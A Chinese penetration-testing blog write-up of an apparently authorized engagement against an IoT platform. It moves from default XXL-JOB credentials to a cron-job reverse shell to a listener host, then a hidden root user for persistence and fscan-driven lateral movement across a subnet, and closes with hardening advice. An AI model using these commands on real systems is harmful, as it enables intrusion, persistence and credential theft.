1. 渗透测试实战:从登录封锁到内网横向漫游
最近在一次授权渗透测试中,遇到一个相当有意思的案例。目标是一个IoT管理系统,从最初连登录界面都进不去,到最后几乎控制了整个C段网络。整个过程充满了戏剧性的转折,也暴露出很多常见的安全问题。下面我就详细记录下这次渗透的完整过程和技术细节。
2. 外网打点:突破登录封锁
2.1 初探目标系统
目标系统是一个典型的IoT设备管理平台,前端是一个标准的登录界面。这种系统通常会有几种常见漏洞:
- 已知框架漏洞(如Struts2、Spring等)
- 弱口令或默认凭证
- SQL注入等传统Web漏洞
我首先尝试了常规的渗透手法:
- 搜索公开漏洞:无果
- 尝试弱口令:admin/admin、admin/123456等常见组合
- SQL注入测试:' or 1=1 -- 等常见payload
但系统直接返回了系统错误,连验证码接口都异常了。这种情况很可能是系统之前被攻击过,开发人员直接禁用了验证码功能作为"修复"措施。
2.2 突破思路与技巧
当常规方法失效时,我采取了以下步骤:
- 源码审计:查看HTML源码和JS文件,寻找隐藏接口或调试信息
- 目录扫描:使用ffuf工具扫描常见路径
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200 - 端口扫描:发现9090端口开放
经验分享:当Web应用正面难以突破时,端口扫描往往能发现管理后台、API接口等"旁路"入口。这也是为什么企业安全建设中,除了Web应用防火墙,还需要做好网络层的访问控制。
3. XXL-JOB漏洞利用
3.1 发现XXL-JOB系统
端口扫描发现的9090端口运行着XXL-JOB系统,这是一个开源的分布式任务调度平台。常见漏洞包括:
- Hessian2反序列化(<=2.0.2)
- 未授权访问(<=2.2.0)
- SSRF漏洞(<=2.3.1)
通过查看页面源码中的"admin_version"字段,确认版本是2.4.1,高于存在RCE漏洞的版本。
3.2 突破认证环节
虽然无法直接利用RCE漏洞,但XXL-JOB的默认凭证admin/123456成功登录。这提醒我们:
- 修改默认凭证是最基本的安全措施
- 即使系统本身没有漏洞,弱口令也是致命弱点
3.3 获取Shell
在XXL-JOB后台,可以通过创建定时任务执行系统命令:
- 新建任务,选择Shell模式
- 设置Cron表达式(如
0 0 0 ?表示每天午夜执行) - 写入反弹Shell命令:
#!/bin/bash /bin/bash -i >& /dev/tcp/your_ip/port 0>&1 - 在VPS上监听对应端口:
nc -lvvp port
成功获取到root权限的Shell,省去了提权步骤。
安全建议:任务调度系统应该严格限制可执行命令的范围,最好采用白名单机制。同时,这类系统不应该使用root权限运行。
4. 权限维持与内网渗透
4.1 建立持久化访问
为了防止失去访问权限,我做了以下权限维持措施:
- 创建隐藏用户:
useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0 -g root -G root -s /bin/bash -d /system - 上传C2客户端,建立持久通道
4.2 内网信息收集
获取到Shell后,进行了全面的信息收集:
- 系统信息:
uname -a cat /etc/*-release free -h df -h - 网络信息:
ifconfig netstat -tulnp arp -a - 进程和服务:
ps aux systemctl list-units --type=service
发现系统运行了多个Docker容器,包括MySQL等服务。
4.3 数据库渗透
通过Docker直接访问MySQL:
docker exec -it mysql_container mysql -uroot -p或者在docker-compose.yml中找到数据库密码后,尝试密码复用,成功获取多个数据库权限。
5. 内网横向移动
5.1 网络扫描
上传免杀版的fscan工具扫描内网:
./fscan -h 192.168.1.1/24发现大量主机开放了XXL-JOB服务,且都使用默认凭证admin/123456。
5.2 批量获取权限
通过脚本批量登录这些XXL-JOB系统,创建定时任务反弹Shell,几乎控制了整个C段的主机。
渗透经验:内网中经常存在配置相同的系统,一旦突破一个,往往可以复制相同手法攻陷其他系统。这凸显了配置管理和凭证管理的重要性。
6. 获取的各种权限与数据
在整个渗透过程中,获取了以下系统的权限和敏感数据:
数据库系统:
- MySQL多个实例
- Redis未授权访问
- Elasticsearch
消息队列:
- Kafka
- RocketMQ
- Zookeeper
云服务凭证:
- 阿里云OSS AK/SK
- 百度地图API Key
- 短信平台凭证
IoT设备:
- 设备管理API密钥
- 设备控制权限
7. 安全建议与防御措施
基于这次渗透暴露的问题,建议企业采取以下安全措施:
7.1 基础安全加固
- 修改所有默认凭证
- 及时更新系统和组件补丁
- 最小权限原则,避免使用root权限运行应用
7.2 网络隔离
- 管理后台不应直接暴露在公网
- 重要系统应部署在网络隔离区域
- 实施严格的网络访问控制策略
7.3 监控与审计
- 部署日志审计系统,监控异常登录行为
- 对特权操作进行记录和复核
- 定期进行安全评估和渗透测试
8. 渗透测试中的实用技巧
在这次渗透中,有几个特别实用的技巧值得分享:
- 当验证码失效时:这可能意味着系统存在安全问题,值得深入探查
- 端口扫描的价值:不要局限于Web应用,其他开放端口可能提供突破点
- 默认凭证的威力:永远不要低估默认凭证的危害
- 内网横向的捷径:相似系统往往使用相同配置,突破一个可能意味着突破一片
最后需要强调的是,本文所有测试均在合法授权范围内进行。安全研究的目的在于发现问题、解决问题,而不是实施攻击。希望这个案例能帮助大家更好地理解企业网络面临的安全风险,并采取有效措施进行防护。